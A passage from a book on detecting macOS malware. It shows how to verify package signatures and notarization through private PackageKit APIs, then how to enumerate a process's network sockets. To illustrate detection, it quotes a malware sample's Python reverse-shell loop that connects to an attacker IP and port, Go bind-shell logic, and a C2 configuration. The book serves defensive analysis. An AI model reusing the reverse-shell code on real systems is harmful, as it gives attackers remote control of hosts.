% pkgutil --check-signature KeySteal/archive.pkg
Package "archive.pkg":
   Status: revoked signature
   Signed with a trusted timestamp on: 10-18 12:58:45 +0000
   Certificate Chain:
    1. Developer ID Installer: fenghua he (32W7BZNTSV)
       Expires: 2027-02-01 22:12:15 +0000
       SHA256 Fingerprint:
           EC 7C 85 1D B0 A0 8C ED 45 31 6B 8E 9D 7D 34 0F 45 B8 4E CE 9D 9C
           97 DB 2F 63 57 C2 D9 71 0C 4E
       -----------------------------------------------------------------------
    2. Developer ID Certification Authority
       Expires: 2027-02-01 22:12:15 +0000
       SHA256 Fingerprint:
           7A FC 9D 01 A6 2F 03 A2 DE 96 37 93 6D 4A FE 68 09 0D 2D E1 8D 03
           F2 9C 88 CF B0 B1 BA 63 58 7F
       -----------------------------------------------------------------------
    3. Apple Root CA
       Expires: 2035-02-09 21:40:36 +0000
       SHA256 Fingerprint:
           B0 B1 73 0E CB C7 FF 45 05 14 2C 49 F1 29 5E 6E DA 6B CA ED 7E 2C
           68 C5 BE 91 B5 A1 10 01 F0 24

Apple has revoked the signature. In addition, the revoked code signing 
identifier, fenghua he (32W7BZNTSV), may help you find other malware 
signed by the same malware author.

Reverse Engineering pkgutil
Now, you may be wondering how to programmatically check the signatures 
of packages. This is a good question, as there are currently no public APIs 
for verifying a package! Thanks, Cupertino.

Luckily, a quick reverse engineering session of the pkgutil binary reveals 
exactly how it checks the signature of packages. To begin, we can see that 
pkgutil is linked against the private PackageKit framework:

% otool -L /usr/sbin/pkgutil
/usr/sbin/pkgutil:
...
/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/PackageKit
...

The name of this framework suggests that it likely contains relevant APIs. 
Traditionally found in the /System/Library/PrivateFrameworks/ directory, the 
framework lives in the shared dyld cache, a prelinked shared file containing 
commonly used libraries, on recent versions of macOS.16 Its name and 
location depend on the version of macOS and the architecture of the system 
but might look something like dyld_shared_cache_arm64e and /System/Volumes/
Preboot/Cryptexes/OS/System/Library/dyld/, respectively.
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We must extract the PackageKit framework from the dyld cache before 
we can reverse engineer it. A tool such as Hopper, shown in Figure 3-2, can 
extract frameworks from the cache.

Figure 3-2: Extracting the PackageKit framework from the dyld cache

If you prefer to use a command line tool to extract libraries, one good 
option is the dyld-shared-cache-extractor.17 After installing this tool, you can 
execute it with the path of the dyld cache and an output directory, which we 
specify here as /tmp/libraries:

% dyld-shared-cache-extractor /System/Volumes/Preboot/Cryptexes/OS/System/
Library/dyld/dyld_shared_cache_arm64e /tmp/libraries

Once the tool has extracted all of the libraries from the cache, you’ll 
find the PackageKit framework at /tmp/libraries/System/Library/Private 
Frameworks/PackageKit.framework.

Now we can load the framework into a disassembler to gain insight into its 
APIs and internals. For example, we find a class named PKArchive that contains 
useful methods, such as archiveWithPath: and verifyReturningError:, among 
others:

@interface PKArchive : NSObject
    +(id)archiveWithPath:(id)arg1;
    +(id)_allArchiveClasses;
    -(BOOL)closeArchive;
    -(BOOL)fileExistsAtPath:(id)arg1;
    -(BOOL)verifyReturningError:(id*)arg1;
    ...
@end
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I won’t cover the full details of reverse engineering the PackageKit frame-
work here, but you can learn more about the process online.18 You can also 
find the entirety of my package verification source code in my What’s Your 
Sign utility’s Package.h/Package.m file.19

Accessing Framework Functions
To use the methods we’ve discovered in our checkSignature project, we’ll need 
a header file containing the private class definitions from the PackageKit 
framework. This will allow us to invoke them directly from our code. In the 
past, tools such as class-dump could easily create such header files,20 but this 
approach isn’t fully compatible with newer Apple Silicon binaries. Instead, 
you can manually extract these class definitions from a disassembler or by 
using otool. Listing 3-10 shows the extracted definitions.

@interface PKArchive : NSObject
    +(id)archiveWithPath:(id)arg1;
    +(id)_allArchiveClasses;
    -(BOOL)closeArchive;
    -(BOOL)fileExistsAtPath:(id)arg1;
    -(BOOL)verifyReturningError:(id*)arg1;
    ...

    @property(readonly) NSString* archiveDigest;
    @property(readonly) NSString* archivePath;
    @property(readonly) NSDate* archiveSignatureDate;
    @property(readonly) NSArray* archiveSignatures;
@end

@interface PKArchiveSignature : NSObject
{
    struct __SecTrust* _verifyTrustRef;
}

    -(struct __SecTrust*)verificationTrustRef;
    -(BOOL)verifySignedDataReturningError:(id *)arg1;
    -(BOOL)verifySignedData;
    ...

    @property(readonly) NSString* algorithmType;
    @property(readonly) NSArray* certificateRefs;
@end
...

Listing 3-10: The PackageKit framework’s extracted class and method definitions

Now we can write code to use these classes, invoking their methods to 
programmatically verify packages of our choosing. We’ll do this in a function 
we name checkPackage. As its only argument, it takes a path to the package to 
verify and returns a dictionary containing the results of verification, plus other 
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code signing information, such as the package’s code signing authorities. The 
function starts by loading the required PackageKit framework (Listing 3-11).

#define PACKAGE_KIT @"/System/Library/PrivateFrameworks/PackageKit.framework" 1

NSMutableDictionary* checkPackage(NSString* package) {
    NSBundle* packageKit = [NSBundle bundleWithPath:PACKAGE_KIT]; 2
    [packageKit load];
    ...
}

Listing 3-11: Loading the PackageKit framework

First, we define the path to the PackageKit framework 1. We then load 
the framework with the NSBundle class’s bundleWithPath: and load methods so 
that we can dynamically resolve and invoke the framework’s methods 2.

Due to its introspective nature, the Objective-C programming language 
makes it easy to use private classes and invoke private methods. To access a 
private class, use the NSClassFromString function. For example, Listing 3-12 
shows how to dynamically obtain the class object for the PKArchive class.

Class PKArchiveCls = NSClassFromString(@"PKArchive");

Listing 3-12: Obtaining the PKArchive class object

Reverse engineering pkgutil revealed that it instantiates an archive object 
(PKXARArchive) using the PKArchive class’s archiveWithPath: method, along with 
the path of the package to validate. In Listing 3-13, our code does the same.

PKXARArchive* archive = [PKArchiveCls archiveWithPath:package];

Listing 3-13: Instantiating an archive object

When dealing with private classes such as the PKArchive class, note that it’s  
wise to invoke the respondsToSelector: method before invoking its methods. 
The respondsToSelector: method will return a Boolean value that tells you 
whether you can safely invoke the method on the class or class instance.21 
If you skip this step and an object doesn’t respond to a method, it will crash 
your program with an unrecognized selector sent to class exception.

The following code checks to make sure the PKArchive class implements 
the archiveWithPath: method (Listing 3-14).

if(YES != [PKArchiveCls respondsToSelector:@selector(archiveWithPath:)]) {
    goto bail;
}

Listing 3-14: Checking for a method

Now we’re ready to perform some basic package validation.
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Validating the Package
Again, we mimic pkgutil by using the PKXARArchive class’s verifyReturningError: 
method (Listing 3-15).

NSError* error = nil;
if(YES != [archive verifyReturningError:&error]) {
    goto bail;
}

Listing 3-15: Performing basic package validation

Once the package has passed basic verification checks, we can check its  
signature, which we find in the archive’s archiveSignatures instance variable. 
This variable is an array holding pointers to PKArchiveSignature objects. 
A signed package will have at least one signature (Listing 3-16).

1 NSArray* signatures = archive.archiveSignatures;
if(0 == signatures .count) {
    goto bail;
}

PKArchiveSignature* signature = signatures.firstObject;
2 if(YES != [signature verifySignedDataReturningError:&error]) {
    goto bail;
}

Listing 3-16: Verifying a package’s leaf signature

After ensuring that the package has at least one signature 1, we verify 
the first, or leaf, signature, using the PKArchiveSignature class’s verifySigned 
DataReturningError: method 2. Additionally, we evaluate the trust of this 
 signature (Listing 3-17).

Class PKTrustCls = NSClassFromString(@"PKTrust");

struct __SecTrust* trustRef = [signature verificationTrustRef];

1 PKTrust* pkTrust = [[PKTrustCls alloc] initWithSecTrust:trustRef
usingAppleRoot:YES signatureDate:archive.archiveSignatureDate];

2 if(YES != [pkTrust evaluateTrustReturningError:&error]) {
    goto bail;
}

Listing 3-17: Evaluating the trust of a signature

We instantiate a PKTrust object with the signature 1 and then invoke 
the PKTrust class’s evaluateTrustReturningError: method 2. If verification 
TrustRef returns nil, we can validate the package via certificates by using the 
PKTrust class’s initWithCertificates:usingAppleRoot:signatureDate: method. See 
this chapter’s checkSignature project code for more details. If the signature 
and signature trust verifications pass, we have a validly signed package.
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You could also extract the signature’s certificates, which would allow 
you to perform actions like checking the name of each signing authority. 
You can access these certificates through the PKArchiveSignature object’s 
certificateRefs instance variable, which is an array of SecCertificateRef 
objects, and extract their information with the SecCertificate* APIs.

Checking Package Notarization
I’ll wrap up this section by showing how to determine whether Apple has 
notarized a package. Recall that pkgutil leverages the private PackageKit 
framework to validate packages. However, reverse engineering revealed that 
the package notarization checks aren’t implemented in that framework with 
the rest of the checks, but rather directly in the pkgutil binary.

To check the notarization status of a package, pkgutil invokes the 
SecAssessmentTicketLookup API. Though this API is undocumented, we find 
its declaration in Apple’s SecAssessment.h header file. Listing 3-18 mimics 
pkgutil’s approach. Given a validated PKArchiveSignature object from a pack-
age, it determines whether the package has been notarized.

#import <CommonCrypto/CommonDigest.h>

typedef uint64_t SecAssessmentTicketFlags;
enum {
    kSecAssessmentTicketFlagDefault = 0,
    kSecAssessmentTicketFlagForceOnlineCheck = 1 << 0,
    kSecAssessmentTicketFlagLegacyListCheck = 1 << 1,
};

Boolean SecAssessmentTicketLookup(CFDataRef hash, SecCSDigestAlgorithm
hashType, SecAssessmentTicketFlags flags, double* date, CFErrorRef* errors);

BOOL isPackageNotarized(PKArchiveSignature* signature) {
    CFErrorRef error = NULL;
    BOOL isItemNotarized = NO;
    double notarizationDate = 0;

    SecCSDigestAlgorithm hashType = kSecCodeSignatureHashSHA1;

  1 NSData* hash = [signature signedDataReturningAlgorithm:0x0];
    if(CC_SHA1_DIGEST_LENGTH == hash.length) {
        hashType = kSecCodeSignatureHashSHA1;
    } else if(CC_SHA256_DIGEST_LENGTH == hash.length) {
        hashType = kSecCodeSignatureHashSHA256;
    }

  2 if(YES == SecAssessmentTicketLookup((__bridge CFDataRef)(hash), hashType,
    kSecAssessmentTicketFlagDefault, &notarizationDate, &error)) {
        isItemNotarized = YES;
  3 } else if(YES == SecAssessmentTicketLookup((__bridge CFDataRef)(hash),
    hashType, kSecAssessmentTicketFlagForceOnlineCheck, &notarizationDate,
    &error)) {
        isItemNotarized = YES;
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    }

    return isItemNotarized;
}

Listing 3-18: A package notarization check

We declare various variables, most of which we’ll need for the 
SecAssessment TicketLookup API call. We then invoke the signature’s signed 
DataReturningAlgorithm: method, which returns a data object containing a 
hash 1.

Next, we make the first call to SecAssessmentTicketLookup 2, passing it the 
hash and hash type, which will be either SHA-1 or SHA-256, represented 
by the kSecCodeSignatureHashSHA1 and kSecCodeSignatureHashSHA256 constants, 
respectively. We also pass in the assessment flags and an out pointer that 
will receive the date of the notarization if the package is notarized. The last 
argument is an optional out pointer to an error variable.

Mimicking the pkgutil binary, we first invoke the API with the assess-
ment flags set to kSecAssessmentTicketFlagDefault. If this call fails to deter-
mine whether the package is notarized, we invoke the API again, this time 
with the flag set to kSecAssessmentTicketFlagForceOnlineCheck 3. You can find 
these and other flag values in the SecAssessment.h header file.

If either API invocation returns a nonzero value, the package is nota-
rized, and the Apple notary service trusts it. Because we mimicked pkgutil, 
however, our code doesn’t specify whether a non-notarized package has 
had its notarization ticket revoked. Given an item’s code signing hash 
and hash type, we could implement such a check in the manner shown in 
Listing 3-19.

CFErrorRef error = NULL;

if(YES != SecAssessmentTicketLookup(hash, hashType,
kSecAssessmentTicketFlagForceOnlineCheck, NULL, &error)) {
    if(EACCES == CFErrorGetCode(error)) {
        // Code placed here will run if the item's notarization ticket has been revoked.
    }
}

Listing 3-19: Checking for revoked notarization tickets

The SecAssessmentTicketLookup API will set its error variable to the value 
EACCES if the item’s notarization ticket has been revoked.22

Running the Tool
Let’s run the checkSignature tool against the packages mentioned earlier in 
this chapter:

% ./checkSignature GoogleChrome.pkg
Checking: GoogleChrome.pkg
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Status: signed
Notarized: yes
Signing authorities (
    "<cert(0x11ee0ac30) s: Developer ID Installer: Google LLC (EQHXZ8M8AV)
    i: Developer ID Certification Authority>",
    "<cert(0x11ee08360) s: Developer ID Certification Authority i: Apple Root CA>",
    "<cert(0x11ee07820) s: Apple Root CA i: Apple Root CA>"
)

% ./checkSignature "EvilQuest/Mixed In Key 8.pkg"
Checking: Mixed In Key 8.pkg

Status: unsigned

% ./checkSignature KeySteal/archive.pkg
Checking: archive.pkg

Status: certificate revoked

Signing authorities: (
    "<cert(0x151406100) s: Developer ID Installer: fenghua he (32W7BZNTSV)
    i: Developer ID Certification Authority>",
    "<cert(0x151406380) s: Developer ID Certification Authority i: Apple Root CA>",
    "<cert(0x1514082b0) s: Apple Root CA i: Apple Root CA>"
)

The output matches the results of Apple’s pkgutil. Our code accurately 
identifies the first package as validly signed and notarized; the second, con-
taining the EvilQuest malware, as unsigned; and the last, containing the 
KeySteal malware, as revoked.

On-Disk Applications and Executables
The majority of macOS malware is distributed as applications or stand-
alone Mach-O binaries. We can extract code signing information from 
an on-disk application bundle or executable binary in the same manner as 
for disk images: manually, via the codesign utility, or programmatically, 
via Apple’s Code Signing Services APIs. However, this case presents a few 
important differences.

The first involves the SecStaticCodeCheckValidity API, which validates the 
item’s signature. When the item isn’t a disk image, we must invoke this func-
tion with the kSecCSCheckAllArchitectures flag (Listing 3-20).

SecCSFlags flags = kSecCSEnforceRevocationChecks;
if(NSOrderedSame != [item.pathExtension caseInsensitiveCompare:@"dmg"]) {
    flags |= kSecCSCheckAllArchitectures;
}
status = SecStaticCodeCheckValidity(staticCode, flags, NULL);
...

Listing 3-20: Checking an item’s signature
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This flag handles multiarchitecture items like universal binaries, which 
can include several embedded Mach-O binaries, potentially with different 
code signers. For a real-world example in which attackers abused a universal 
binary to bypass insufficient code signing checks, see CVE-2021-30773.23 
This flag value also enforces revocation checks, as it contains the value 
kSecCSEnforceRevocationChecks.

Earlier in this chapter, I showed you how to check whether a specified 
item conforms to some requirement, such as notarization. You might want 
to check additional requirements, such as whether Apple proper signed the 
item (the anchor apple requirement) or whether both Apple and a third-party 
developer ID have signed it (the anchor apple generic requirement). In each 
of these cases, your code can invoke the SecRequirementCreateWithString 
function with the requirement you wish to check and then pass this 
requirement to the SecStaticCodeCheckValidity API. To take into account 
universal binaries, invoke this function with a flag value that contains 
kSecCSCheckAllArchitectures.

You should also invoke the SecAssessmentCreate API to account for items 
with valid signatures but revoked notarization tickets. For a real-world 
example of this situation pertaining to applications, consider the 3CX  supply 
chain attack mentioned previously. In this attack, North Korean attackers 
compromised the 3CX company network and build server, subverted the 3CX 
application with malware, signed it with the 3CX code signing certificate, and 
then tricked Apple into notarizing it. Not wanting to revoke 3CX’s code sign-
ing certificate, which would have blocked many other legitimate 3CX apps, 
Apple merely revoked the subverted application’s notarized ticket.

Let’s run the checkSignature project on legitimate applications as well as 
malware, including the 3CX sample:

% ./checkSignature /Applications/LuLu.app
Checking: LuLu.app

Status: signed
Notarized: yes
Signing authorities: : (
    "<cert(0x13b814800) s: Developer ID Application: Objective-See, LLC (VBG97UB4TA)
    i: Developer ID Certification Authority>",
    "<cert(0x13b81c800) s: Developer ID Certification Authority i: Apple Root CA>",
    "<cert(0x13b81d000) s: Apple Root CA i: Apple Root CA>"
)

% ./checkSignature WindTail/Final_Presentation.app
Checking: Final_Presentation.app

Status: certificate revoked

% ./checkSignature "SmoothOperator/3CX Desktop App.app"
Checking: 3CX Desktop App.app
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Status: signed
Notarized: revoked

% ./checkSignature MacMa/client
Checking: client

Status: unsigned

We first check Objective-See’s signed and notarized LuLu application, 
followed by a WindTail malware specimen with a revoked certificate. Next, 
we test an instance of the trojanized 3CX application; our code correctly 
detects its revoked notarization status. Finally, we demonstrate that the 
MacMa malware is unsigned.

Running Processes
So far, we’ve examined on-disk items by obtaining static code object refer-
ences. In this section, we’ll check the code signing information of running 
processes by using dynamic code object references (SecCodeRef).

When applicable, you should make use of dynamic code object references 
for two reasons. The first is efficiency; the operating system will have already 
validated much of the code signing information for a dynamic instance of an 
item of interest to ensure conformance with runtime requirements. For us, 
this means we can avoid the costly file I/O operations associated with static 
code checks and skip certain computations.

The other reason that dynamic code references are preferable to static 
code references relates to possible discrepancies between an item’s on-disk 
image and its in-memory one. For example, there is little stopping malware 
from changing the code signing information of its on-disk item to a benign 
value. (Of course, this highly anomalous behavior should itself raise a huge 
red flag.) On the other hand, a running item can’t change its dynamic code 
signing information.

To check whether a running process is signed and then extract its 
code signing information, we first must obtain a code reference via the 
SecCodeCopyGuestWithAttributes API. Invoke it with the process’s ID, or prefer-
ably, with a more secure process audit token (Listing 3-21).

SecCodeRef dynamicCode = NULL;

NSData* data = [NSData dataWithBytes:token length:sizeof(audit_token_t)]; 1
NSDictionary* attributes = @{(__bridge NSString*)kSecGuestAttributeAudit:data}; 2

status = SecCodeCopyGuestWithAttributes(NULL,
(__bridge CFDictionaryRef _Nullable)(attributes), kSecCSDefaultFlags, &dynamicCode); 3
if(errSecSuccess != status) {
    goto bail;
}

Listing 3-21: Obtaining a code object reference via a process’s audit token
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We first convert the audit token into a data object 1. We need this 
conversion so we can place the audit token in a dictionary, keyed by the 
string kSecGuestAttributeAudit 2. We then pass this dictionary to the SecCode 
CopyGuestWithAttributes API, along with an out pointer to populate with a 
code object reference 3.

With a code object reference in hand, you can validate the process’s 
code signing information with SecCodeCheckValidity or SecCode Check Validity 
WithErrors. Recall that for on-disk items such as universal binaries, we make 
use of the kSecCSCheckAllArchitectures flag value to validate all embedded 
Mach-Os; for running processes, the dynamic loader will load and execute 
only one embedded Mach-O, so that flag value is irrelevant and not needed.

It’s essential that you validate a process’s code signing information 
before extracting or acting upon any of it. If you don’t, or if the validation 
fails, you won’t be able to trust it. If the code signing information is valid, 
you can extract it via the SecCodeCopySigningInformation function that was 
already discussed.

With a code reference for a process, you can also perform other mun-
dane but important tasks in a simple and secure manner. For example, using 
the SecCodeCopyPath API, you can retrieve the process’s path (Listing 3-22).

CFURLRef path = NULL;
SecCodeCopyPath(dynamicCode, kSecCSDefaultFlags, &path);

Listing 3-22: Obtaining a process’s path from a dynamic code object reference

You can also perform specific validations using requirements, as was 
discussed for static code object references. Using dynamic code object 
references, the approach is largely the same, except you’ll make use of the 
SecCodeCheckValidity API to perform the validation. It is important to note 
that when you are done with a dynamic code reference, you should release 
it via CFRelease.

Because macOS won’t allow a process to execute if either its certificate 
or its notarization ticket has been revoked, you don’t need to perform this 
check yourself for running processes.

Detecting False Positives
At the beginning of the chapter, I noted that various antivirus engines had  
incorrectly flagged components of Apple’s MRT as malware. If these engines 
had taken the item’s code signing information into account, they would 
have identified MRT and its components as a built-in part of macOS signed 
solely by Apple proper and safely ignored it.

I’ll show you how to perform such a check using the APIs introduced 
in this chapter. Specifically, you’ll make use of the anchor apple requirement 
string, which holds cryptographically true if and only if nobody but Apple 
has signed an item.
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Let’s assume we’ve obtained a static code reference to the binary 
that was incorrectly flagged as malware. In Listing 3-23, we first compile 
the requirement string and then pass it and the code reference to the 
SecStaticCodeCheckValidity API.

static SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(CFSTR("anchor apple"), kSecCSDefaultFlags, &requirement);

if(errSecSuccess ==
SecStaticCodeCheckValidity(staticCodeRef, kSecCSCheckAllArchitectures, requirement)) {
    // Code placed here will run only if the item is signed by Apple alone.
}

Listing 3-23: Checking the validity of an item against the anchor apple requirement

If SecStaticCodeCheckValidity returns errSecSuccess, we know that only 
Apple proper has signed the item, meaning it belongs to macOS and there-
fore certainly isn’t malware.

Code Signing Error Codes
As mentioned throughout this chapter, it’s important to appropriately 
handle any errors you encounter when validating an item’s cryptographic 
signature. You can find the error codes for the code signing services APIs in 
Apple’s “Code Signing Services Result Codes” developer documentation24 
or in the CSCommon.h file, found at Security.framework/Versions/A/Headers/. 
These resources indicate, for example, that the error code -66992 maps to 
errSecCSRevokedNotarization, signifying that the code has been revoked.

If perusing header files isn’t your thing, consult the OSStatus website. 
This website provides a simple way to map any Apple API error code to its 
human-readable name.

Conclusion
Code signing allows us to determine where an item is from and whether the 
item has been modified. In this chapter, you delved into code signing APIs 
that can verify, extract, and validate code signing information for items 
such as disk images, packages, on-disk binaries, and running processes.

Understanding these APIs is imperative in the context of detecting mal-
ware, especially as heuristic-based approaches can be fraught with false posi-
tives. The information provided by code signing can drastically reduce your 
detection errors. When building antimalware tools, you can use code signing 
in a myriad of ways, including identifying core operating system components 
you can trust, detecting items whose certificates or notarization tickets have 
been revoked, and authenticating clients, such as tool modules attempting to 
connect to XPC interfaces (a topic covered in Chapter 11).
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Most Mac malware specimens make exten-
sive use of the network for tasks such as 

exfiltrating data, downloading additional 
payloads, or communicating with command-and-

control servers. If you can observe these unauthorized 
network events, you can turn them into a powerful 
detection heuristic. In this chapter, I’ll show you exactly 
how to create a snapshot of network activity, such as 
established connections and listening sockets, and 
tie each event to the process responsible for it. This 
information should play a vital role in any malware 
detection system, as it can detect even previously 
unknown malware.

4
N E T W O R K  S T A T E  A N D 

S T A T I S T I C S
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I’ll concentrate on two approaches to enumerating network 
information: the proc_pid* APIs and the APIs found in the private 
NetworkStatistics framework. You can find complete code for both 
approaches in the Chapter 4 folder in this book’s GitHub repository.

Host-Based vs. Network-Centric Collection
Generally, network information is captured either on the host or exter-
nally, at the  network level (for example, via network security appliances). 
Though there are pros and cons to both approaches, this chapter focuses 
on the former. For malware detection, I prefer the host-based approach, 
as it can reliably identify the specific process responsible for observed 
network events.

It’s hard to overstate the value of being able to tie a network event to 
a process. This link allows you to closely inspect the process accessing the 
network and apply other heuristics to it to determine whether it might 
be malicious. For example, a persistently installed, non-notarized binary 
accessing the network may indeed be malware. Identifying the responsible 
process can also help uncover malware trying to masquerade its traffic as 
legitimate; a standard HTTP /S request originating from a signed and nota-
rized browser is probably benign, while the same request associated with an 
unrecognized process is definitely worth examining more closely.

Another advantage of collecting networking information at the host 
level is that network traffic is usually encrypted, and a host-based approach 
can often avoid the complexities of network-level encryption, which gets 
applied later. You’ll see this benefit in Chapter 7, which covers host-based 
approaches for continuously monitoring networking traffic.

Malicious Networking Activity
Of course, the fact that a program accesses the network doesn’t mean it is 
malware. Most legitimate software on your computer likely uses the net-
work. Still, certain types of network activity are more common in malware 
than in legitimate software. Here are a few examples of network activity 
that you should examine more closely:

Listening sockets open to any remote connection    Malware may 
expose remote access by connecting a local shell to a socket that listens 
for connections from an external interface.

Beacon requests that occur at regular intervals    Implants and other 
persistent malware may regularly check in with their command-and-
control servers.

Large amounts of uploaded data    Malware often exfiltrates data from 
an infected system.

Let’s consider some examples of malware and their network interactions. 
We’ll start with a specimen known as Dummy (named so by yours truly, as it’s 



Network State and Statistics   103

rather simple minded). The malware creates an interactive shell that gives a 
remote attacker the ability to execute arbitrary commands on the infected 
host. Specifically, it persistently executes the following bash script containing 
Python code (which I’ve formatted to improve readability):

#!/bin/bash
while :
do
    python -c 
        'import socket,subprocess,os;
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("185.243.115.230",1337));
        os.dup2(s.fileno(),0);
        os.dup2(s.fileno(),1);
        os.dup2(s.fileno(),2);
        p=subprocess.call(["/bin/sh","-i"]);'
    sleep 5
done

This code connects to the attacker’s server, found at 185.243.115.230 on 
port 1337. It then duplicates the standard in (stdin), out (stdout), and error 
(stderr) streams (whose file descriptors are 0, 1, and 2, respectively) to the 
connected socket. Lastly, it executes /bin/sh with the -i flag to complete the  
setup of an interactive reverse shell. If you enumerated network connections  
on the infected host (for example, using the macOS lsof utility, which lists 
open file descriptors from all processes), you would see a connection belong-
ing to this Python-based shell:

% lsof -nP | grep 1337 | grep -i python
Python   ...   TCP   192.168.1.245:63353->185.243.115.230:1337 (ESTABLISHED)

Our second example is tied to a suspected Chinese hacker group best 
known for its Alchimist [sic] attack framework.1 When executed, the mali-
cious code drops a dynamic library named payload.so. If we open this library 
(originally written in Go) in a decompiler, we can see that it contains logic 
to bind a shell to a listening socket:

os.Getenv(..., NOTTY_PORT, 0xa, ...);
strconv.ParseInt(...);
fmt.Sprintf(..., 0.0.0.0, ..., port, ...);
net.Listen("tcp", address);
main.handle_connection(...);

It first reads a custom environment variable (NOTTY_PORT) to build a 
network address string of the format 0.0.0.0:port. If no port is specified, 
it defaults to 4444. Next, it invokes the Listen method from the Go net 
library to create a listening TCP socket. A method named handle_connection 
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handles any connection to this socket. Using my network enumeration tool 
Netiquette (Figure 4-1), you can see the malware’s listening socket.2

Figure 4-1: Netiquette showing the listening socket on port 4444

The astute reader may have noticed that the socket listening on port 
4444 is tied to a process named loader and not directly to the malicious 
payload.so library. This is because macOS tracks network events at the process 
level, not at the library level. Unfortunately, the researchers who uncov-
ered the threat didn’t obtain the program that hosts the library, so I wrote 
the loader program to load and execute the malicious library for dynamic 
analysis.

Any code that uses system APIs to enumerate network connections can 
identify only the process from which the network activity originated. This 
activity could originate directly from code in the process’s main binary or, 
as is the case here, from one of the libraries loaded in its address space, 
providing yet another reason why it’s worth enumerating and analyzing a 
process’s loaded libraries, as we did in Chapter 1.

Let’s consider one last sample. Rather than invoke a shell, the 
advanced persistent threat (APT) implant oRAT takes the more common 
approach of establishing a connection to an attacker’s command-and- 
control server. Using this connection, it can receive tasking to execute a 
wide range of actions that afford the remote attack complete control over 
the infected host.3 Rather unusually, it performs all tasking, as well as 
regular “heartbeat” check-ins, over a single multiplexed persistent connec-
tion. We can find the configuration for this connection, such as the pro-
tocol and address of the server, embedded directly in the oRAT binary. 
The information is encrypted, but as the decryption key is embedded in 
the binary as well, we can easily decrypt or dump it from memory at run-
time, as discussed in Chapter 9 of The Art of Mac Malware, Volume 1. Here 
is a snippet of the decrypted configuration containing information about 
the command-and-control server:
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{
    ...
    "C2": {
        "Network": "stcp",
        "Address": "darwin.github.wiki:53"
    },
    ...
}

In the configuration, the value for the Network key controls whether oRAT 
will communicate over TCP or UDP and whether it will encrypt its network 
traffic. A value of stcp indicates TCP encrypted via Go’s Transport Layer 
Security (TLS) package.4 The configuration also reveals that the traffic is 
destined for the command-and-control server at darwin.github.wiki and will 
take place over port 53. Though traffic over this port is traditionally dedi-
cated to DNS, there is nothing stopping malware authors from also making 
use of it, perhaps to blend in with legitimate DNS traffic or to slip through 
firewalls that normally allow outgoing traffic on this port.

Once the malware is running, we can readily observe the connection to 
the attacker’s server, either programmatically or manually, via system or third-
party networking tools. I’ll now focus on the former, showing you how to pro-
grammatically enumerate sockets and network connections, provide metadata 
for each, and identify the process responsible for the network activity.

Capturing the Network State
There are several ways to capture network activity, such as with listening 
sockets and established connections. One method is to use various proc_pid* 
APIs. This workflow is inspired by Palomino Labs’s get_process_handles 
project.5

First, we’ll invoke the proc_pidinfo function with a process ID and the 
PROC_PIDLISTFDS constant to get a list of all file descriptors currently opened 
by the specified process. We’re interested in this list of file descriptors 
because it will also include sockets. To extract just the sockets, we’ll 
iterate over all the file descriptors, focusing on those whose type is set to 
PROX_FDTYPE_SOCKET.

Certain socket types have names prefixed with AF, which stands for 
address family. Some of these sockets (for example, those whose type is  
AF_UNIX) are local, and programs can use them as an interprocess com-
munication (IPC) mechanism. These aren’t generally related to malicious 
activity, so we can ignore them, especially in this context of enumerating 
network activity. However, for sockets of type AF_INET (used for IPv4 connec-
tions) or AF_INET6 (used for IPv6 connections), we can extract information 
such as their protocol (UDP or TCP), local port, and address. For TCP 
sockets, we’ll also extract their remote port, address, and state (whether it’s 
listening, established, and so on).

Let’s walk through code that implements this functionality, which you 
can find in this chapter’s enumerateNetworkConnections project.
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Retrieving Process File Descriptors
We begin with a call to the proc_pidinfo API, passing it a process ID, the PROC 
_PIDLISTFDS flag, and three arguments set to zero to obtain the size needed for 
the full list of the process’s open file descriptors (Listing 4-1). It’s common, 
especially for older C-based APIs such as proc_pid*, to call the function first 
with a NULL buffer and zero-byte length to obtain the true length required to 
store the data. A subsequent call to the same API with a new size and newly 
allocated buffer will then return the requested data.

#import <libproc.h>
#import <sys/proc_info.h>

pid_t pid = <some process id>;

1 int size = proc_pidinfo(pid, PROC_PIDLISTFDS, 0, NULL, 0);
struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);

2 proc_pidinfo(pid, PROC_PIDLISTFDS, 0, fdInfo, size);
...

Listing 4-1: Obtaining a process’s file descriptors

Once we’ve obtained this necessary size and allocated an appropriate 
buffer 1, we reinvoke proc_pidinfo, this time with the buffer and its size, to 
retrieve the process’s file descriptors 2. When the function returns, the 
provided buffer will contain a list of proc_fdinfo structures: one for each of 
the process’s open file descriptors. The header file sys/proc_info.h defines 
these structures as follows:

struct proc_fdinfo {
    int32_t   proc_fd;
    uint32_t  proc_fdtype;
};

They contain just two members: a file descriptor (proc_fd) and the file 
descriptor type (proc_fdtype).

Extracting Network Sockets
With a list of a process’s file descriptors, you can now iterate over each to 
find any sockets (Listing 4-2).

for(int i = 0; i < (size/PROC_PIDLISTFD_SIZE); i++) {
    if(PROX_FDTYPE_SOCKET != fdInfo[i].proc_fdtype) {
        continue;
    }
}

Listing 4-2: Iterating over a list of file descriptors ignoring non-sockets
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As the buffer has been populated with a list of proc_fdinfo structures, 
the code scopes the iteration by taking the buffer’s size and dividing it 
by the PROC_PIDLISTFD_SIZE constant to obtain the number of items in the 
array. This constant conveniently holds the proc_fdinfo structure size. Next, 
the code examines each file descriptor’s type by checking the proc_fdtype 
member of each proc_fdinfo structure. Sockets have a type of PROX_FDTYPE 
_SOCKET; the code ignores file descriptors of any other type by executing the 
continue statement, which causes the current iteration of the for loop to 
terminate prematurely and the next to commence, meaning it will begin 
processing the next file descriptor.

Obtaining Socket Details
Now, to get detailed information about the sockets, we invoke the proc_pidfd 
info function. It takes five parameters: the process ID, the file descriptor, 
a value indicating the type of information we’re requesting from the file 
descriptor, an out pointer to a structure, and the structure’s size (Listing 4-3).

struct socket_fdinfo socketInfo = {0};

proc_pidfdinfo(pid, fdInfo[i].proc_fd,
PROC_PIDFDSOCKETINFO, &socketInfo, PROC_PIDFDSOCKETINFO_SIZE);

Listing 4-3: Obtaining information about a socket file descriptor

Because we’ll place this code in the for loop iterating over the list of a 
process’s sockets (Listing 4-2), we can reference each socket by indexing 
into this list: fdInfo[i].proc_fd. The PROC_PIDFDSOCKETINFO constant instructs 
the API to return socket information, while the PROC_PIDFDSOCKETINFO_SIZE 
constant contains the size of a socket_fdinfo structure. You can find both in 
